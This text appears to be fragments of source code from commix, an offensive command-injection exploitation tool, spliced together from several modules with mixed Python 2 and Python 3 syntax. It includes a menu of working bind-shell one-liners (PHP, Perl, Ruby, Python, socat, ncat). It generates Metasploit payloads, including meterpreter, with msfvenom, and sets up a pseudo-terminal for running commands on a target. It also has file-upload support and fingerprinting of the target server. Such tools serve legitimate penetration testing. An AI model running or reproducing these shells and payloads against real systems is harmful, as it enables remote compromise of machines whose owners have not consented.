The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. shell, payload = cmd_exec( url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg( err_msg) else: pass else: shell, payload = cmd_exec( url, cmd, cve, check_header, filename) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command: " sys.stdout.write( "\n" + settings. print_info_msg( info_msg)) sys.stdout.flush() sys.stdout.write( "\n" + settings.print_payload( payload) + "\n") #print "\n" + settings.print_payload(payload) err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except: print "" sys.exit(0) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) continue break else: continue if no_result: print "" except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print "\n" + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit()
def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." print settings.print_error_msg(error_msg)
def other_bind_shells(separator): while True: other_shell = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]") # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") break # Perl-bind-shell elif other_shell == '2': other_shell = "perl -MIO -e '" \ "$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \ "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" break # Ruby-bind-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "s=TCPServer.new(" + settings.LPORT + ");" \ "c=s.accept;" \ "s.close;" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" break # Python-bind-shell elif other_shell == '4': other_shell = "python -c 'import pty,os,socket%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.bind((\"\"," + settings.LPORT + "))%0d" \ "s.listen(1)%0d" \ "(rem, addr) = s.accept()%0d" \ "os.dup2(rem.fileno(),0)%0d" \ "os.dup2(rem.fileno(),1)%0d" \ "os.dup2(rem.fileno(),2)%0d" \ "pty.spawn(\"/bin/sh\")%0d" \ "s.close()'" break # Socat-bind-shell elif other_shell == '5': other_shell = "socat tcp-listen:" + settings.LPORT + \ " exec:\"sh\"" break # Ncat-bind-shell elif other_shell == '6': other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh" break # PHP-bind-shell(meterpreter) elif other_shell == '7': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]") # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") break # Python-bind-shell(meterpreter) elif other_shell == '8': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]") # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue return other_shell
def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): err_msg = "" if menu.enumeration_options(): err_msg += "enumeration" if menu.file_access_options(): if err_msg != "": err_msg = err_msg + " and " err_msg = err_msg + "file-access" if err_msg != "": warn_msg = "The " + err_msg + " options are not supported " warn_msg += "by this module because of the structure of the exfiltrated data. " warn_msg += "Please try using any unix-like commands manually." print(settings.print_warning_msg(warn_msg)) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": print("") os._exit(0) elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": warn_msg = "You are already into the '" + cmd.lower( ) + "' mode." print(settings.print_warning_msg(warn_msg)) + "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." print(settings.print_warning_msg(warn_msg)) + "\n" else: # Command execution results. cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) except KeyboardInterrupt: print("") os._exit(0) except: print("") os._exit(0) elif gotshell in settings.CHOICE_NO: print("") os._exit(0) elif gotshell in settings.CHOICE_QUIT: print("") os._exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) for i in range(0,len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0,len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None : err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: if (menu.options.agent != settings.DEFAULT_USER_AGENT) or menu.options.mobile: err_msg = "The option '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print settings.print_critical_msg(err_msg) sys.exit(0) else: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" or "-m" option. if url: # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth else: if menu.options.sitemap_url: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline().replace("\n","").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write(settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace("\n","").lower() if int(depth_level) >= 3: err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break # Crawl the url. url = crawler.crawler(url) try: # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) if menu.options.flush_session: session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace("\n","").lower() else: enable_HTTP_server = "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.exit(0) if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write(settings.print_question_msg(question_msg)) ip_addr = sys.stdin.readline().replace("\n","").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print settings.print_error_msg(err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0) # Used a valid pair of valid credentials if menu.options.auth_cred: success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL success_msg += Style.BRIGHT + "'." + Style.RESET_ALL print settings.print_success_msg(success_msg) try: if response.info()['server'] : server_banner = response.info()['server'] found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target operating system... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower(): found_os_server = True settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower() if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" : identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print settings.print_critical_msg(err_msg) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL >= 1 : if found_os_server: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target operating system appears to be " success_msg += identified_os.title() + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify server's operating system." print settings.print_warning_msg(warn_msg) # Procedure for target server identification. found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): if settings.SERVER_BANNERS[i].lower() in server_banner.lower(): if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) settings.SERVER_BANNER = server_banner found_server_banner = True # Set up default root paths if settings.SERVER_BANNERS[i].lower() == "apache": if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" if settings.SERVER_BANNERS[i].lower() == "nginx": settings.WEB_ROOT = "/usr/share/nginx" if settings.SERVER_BANNERS[i].lower() == "microsoft-iis": settings.WEB_ROOT = "\\inetpub\\wwwroot" break if not found_server_banner: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target server." print settings.print_warning_msg(warn_msg) # Procedure for target application identification found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg) # Store the Server's root dir settings.DEFAULT_WEB_ROOT= settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: if not menu.options.batch: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace("\n","").lower() else: python_dir = "" if len(python_dir) == 0: python_dir = "y" if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline().replace("\n","").lower() break else: err_msg = "'" + python_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass settings.USER_DEFINED_PYTHON_DIR = True # Check for wrong flags. if settings.TARGET_OS == "win": if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as windows." print settings.print_warning_msg(warn_msg) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print settings.print_warning_msg(warn_msg) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet available for windows targets. " warn_msg += "Instead, use the '--file-write' option." print settings.print_warning_msg(warn_msg) sys.exit(0) else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as unix-like. " print settings.print_warning_msg(warn_msg) if found_os_server == False and \ not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) got_os = sys.stdin.readline().replace("\n","").lower() if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: err_msg = "'" + got_os + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not menu.options.os: if found_server_banner == False: warn_msg = "The server which was identified as " warn_msg += server_banner + " seems unknown." print settings.print_warning_msg(warn_msg) else: found_os_server = checks.user_defined_os() except KeyError: pass # Charset detection. requests.charset_detection(response)